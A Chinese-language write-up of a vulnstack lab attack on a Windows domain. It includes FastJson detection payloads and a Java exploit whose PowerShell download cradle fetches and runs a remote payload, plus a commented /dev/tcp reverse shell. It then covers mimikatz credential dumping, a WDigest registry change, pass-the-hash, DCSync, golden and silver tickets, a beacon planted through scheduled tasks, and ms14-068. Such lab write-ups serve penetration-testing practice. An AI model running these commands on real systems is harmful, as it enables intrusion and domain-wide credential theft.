域环境利用已有靶场,简单方便http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
web环境漏洞FastJson。利用https://github.com/RealBearcat/FastJson-JdbcRowSetImpl-RCE 修改而来
参数为json字符串,可以简单的使用如下探测是否存在问题。
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
比如,此处使用burp的DNS监听
执行后会发现,说明存在问题。
至于版本,可以在一般测试中,构造错误的json字符串查看报错信息,但此处没有错误显示,直接使用几个较高版本的POC测试。
此处直接使用47的POC,由于是Windows系统,则利用cs使用powershell来反弹shell。
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
// Runtime.getRuntime().exec("/bin/bash -i >&/dev/tcp/192.168.120.130/8888<&1");
Runtime.getRuntime().exec("powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\'http://192.168.120.130:80/a\'))\"");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
执行后,在cs端就可以收到shell了。利用ms15-051提权,提权模块可能是添加的插件。获得system权限。还可以看到存在一个内网地址10.10.10.80。
利用mimikatz获取密码,只能读取到当前登陆账号的明文密码。
mimikatz sekurlsa::logonpasswords
不过如果使用了管理员账号来执行操作修改配置,也可以读取到管理员hash。如果使用明文密码登陆修改就可以抓到。
如果提示报错,尝试修改注册表
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
收集信息可知以下信息
域名:DC.de1ay.com
域主机:10.10.10.10
域用户:Administrator,delay,mssql
域管理员:Administrator
两个网卡:192.168.120.0/24,10.10.10.0/24
主机:存在两个主机(192.168.120.201,10.10.10.10)
存在360主机防御系统,不过并没有干涉
尝试利用de1ay用户来登陆PC,利用psexec登陆不成功。
使用psexec登陆,DC机显示成功但是没有获得shell,可能是没成功把
然后利用net共享,先用mimikatz生成pth凭据。
sekurlsa::pth /domain:. /user:Administrator /ntlm: 70be8675cd511daa9be4b8f49e829327
net和psexec的时候还是不成功,报错。利用cs自身的pth模块执行,还是报错,拒绝访问
pth DE1AY\de1ay 161cff084477fe596a5db81874498a24
再尝试利用金票,直接登陆到主机上,上传mimikatz执行。
lsadump::dcsync /domain:de1ay.com /user:krbtgt
得到HASH之后使用mimikatz中的kerberos::golden功能生成金票golden.kiribi
kerberos::golden /admin:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:golden.kiribi
通过mimikatz中的kerberos::ptt将golden.kiribi导入内存中
kerberos::purge //删除票据
kerberos::ptt golden.kiribi //导入票据
kerberos::list //查看票据
查看DC域主机默认共享,可以连接到域主机,上传文件执行。
先利用域内主机创建一个端口转发,先创建一个dns的监听,然后利用已有shell。再去创建一个listener。如下dc。
或者直接利用已有shell来创建listener,再生成exe。利用dc监听来生成exe
利用copy beacon.exe \\DC.de1ay.com\c$\Users\de1ay\
到DC主机上
创建计划任务执行后门,很快就有DC主机上线了。
schtasks /create /s DC.de1ay.com /ru "SYSTEM" /tn testdc /sc DAILY /tr C:\\Users\\de1ay\\beacon.exe /F
schtasks /run /s DC.de1ay.com /tn testdc /i
对于用户PC机,同样可以利用金票来执行,后面的操作和上面类似。
最后就可以获得shell。
再尝试使用银票,生成前删除全部票据,不能访问。
klist purge
这里使用de1ay的hash
kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /target:DC.de1ay.org /service:cifs /rc4:161cff084477fe596a5db81874498a24 /user:de1ay /ptt
这里使用/ptt直接导入内存,或者先生成票据,再使用上面的kerberos::ptt导入内存。
查看是否可以访问
同样shell以后可以看到是个用户权限
在尝试使用ms14-068,DC机是Windows2012,没有补丁KB3011780,同样删除票据
由于主机上没有python环境,pykek不能使用,暂时没有exe版本的pykek。下载使用编译完成的exe文件
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
ms14-068.exe -u de1ay@de1ay.com -s S-1-5-21-2756371121-2868759905-3853650604 -d DC.de1ay.com
生成cache缓存文件,再使用mimikatz来导入
kerberos::ptc TGT_de1ay@de1ay.com.ccache
不过回过头看,之前在cs中执行利用psexec和已有凭据执行psh的时候应该是成功的。
执行后在DC上会有短暂的ps调用显示,但至于为啥没有回显和连接,也许是连接错误。